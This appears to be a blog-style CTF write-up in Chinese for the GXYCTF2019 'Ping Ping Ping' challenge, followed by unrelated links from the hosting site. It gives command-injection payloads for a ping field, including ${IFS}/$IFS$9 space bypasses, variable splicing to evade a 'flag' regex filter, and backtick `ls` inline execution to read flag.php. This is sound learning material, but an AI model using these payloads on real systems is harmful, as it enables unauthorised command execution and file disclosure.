当前位置: 首页 > news >正文

[GXYCTF2019]Ping Ping Ping wp - fish666

[GXYCTF2019]Ping Ping Ping wp

命令注入漏洞

空格绕过

内联命令读取

image-20251111150335092

image-20251111150409210

存在命令注入漏洞

“fxck” 是脏话 “fuck” 的刻意拼写变形,攻击性极强

image-20251111145331968

这个表明,空格被过滤。

那么就要想,怎样绕过???

空格 可以用

   空格${IFS}${IFS}$9$IFS$1    绕过    可以逐个试试哪个管用

image-20251111150052270

现在表明flag也被过滤了

但,刚刚出现,产生flag.php index.php 可以都试一下

image-20251111150238952

发现很多符号都被绕过了

   preg_match("/.*f.*l.*a.*g.*/", $ip)意思是:如果$ip中包含f、l、a、g这四个字母(不管顺序和中间插什么字符),就输出 fxck your flag! 并终止程序。

这个表明,我们不能直接输入flag进行文件读取,但可以使用变量赋值的方式

  ?ip=127.0.0.1;X=g;cat$IFS$1fla$X.php

查看页面源代码

image-20251111151402026

  以下payload也可行:?ip=127.0.0.1;X=ag;cat$IFS$9fl$X.php?ip=127.0.0.1;X=lag;cat$IFS$9f$X.php?ip=127.0.0.1;X=la;cat$IFS$9`ls`        //内联执行配合空格绕过但以下payload不可行:?ip=127.0.0.1;X=a;cat$IFS$9fl$Xg.php?ip=127.0.0.1;X=la;cat$IFS$9f$Xg.php因为shell会把$Xg当成一个变量名进行解析,但是该变量并没有定义。而前面可行的payload中因为变量$X后紧接着是.,因此可以成功解析

反引号 ls 是内联命令,会先执行 ls 并将结果作为参数传给 cat,最终效果是 “读取 ls 命令列出的文件内容”。

   `ls`
   ?ip=127.0.0.1;cat$IFS`ls`

查看页面源代码 获取源代码

http://www.zskr.cn/news/46590.html

相关文章:

  • 2025 年 11 月码垛机厂家推荐排行榜,全自动/高位/低位/立柱/编织袋/纸箱/桶/粉料/肥料码垛机,江苏/无锡码垛机器人实力解析
  • 基于MATLAB图像特征识别及提取实现图像分类
  • 无限长直导线周围电场分布的MATLAB
  • 1-2-3-泛型与反射
  • 1-3-1-知识图谱
  • T690363 促销活动
  • 1-6-0-总纲
  • 1-3-5-AQS详解
  • 起飞啦,太easy啦!!!小白的神级AI辅助工具,一句话即可搭建超50个节点的工作流~~~~
  • 3-1-1-2-MySQL锁机制
  • 3-1-2-2-MySQL分页查询机制
  • 3-1-0-MySQL知识总览
  • 4-1-2-Kafka-Broker-log
  • SqlSugar 在linux环境下连接sqlserver数据库报错SSL出错,因为升级了驱动,字符串增加Encrypt=True;TrustServerCertificate=True;
  • 【JMeter】图形化方式使用 - 谷粒
  • 薪酬管理:企业增长的“隐形引擎”—中国薪资管理系统Top 5深度分析与选型指南
  • SpringOJ竞赛计划----组件ElasticSearch
  • 【软件测试】你需要的面试技巧全在这里,细节满满
  • wrewe
  • qeq
  • 非模式生物基因富集分析——小麦富集分析
  • ewr
  • 2025年优质的数字化配电柜厂家推荐及选择参考
  • 2025龙信杯
  • 2025年不锈钢四方管制造企业权威推荐榜单:无缝不锈钢方管/拉丝不锈钢方管/不锈钢抛光方管源头厂家精选
  • Consul(服务全生命周期治) 单节点部署测试以及脚本制作示例(v1.21.2)
  • java+vue+SpringBoot网上点餐架构(脚本+数据库+报告+部署教程+答辩指导)
  • Hadoop大数据平台在中国AI时代的后续发展趋势研究
  • 开通同路由两台电脑的ping
  • 2025年11月义乌租车公司权威榜:五家实测对比与口碑排行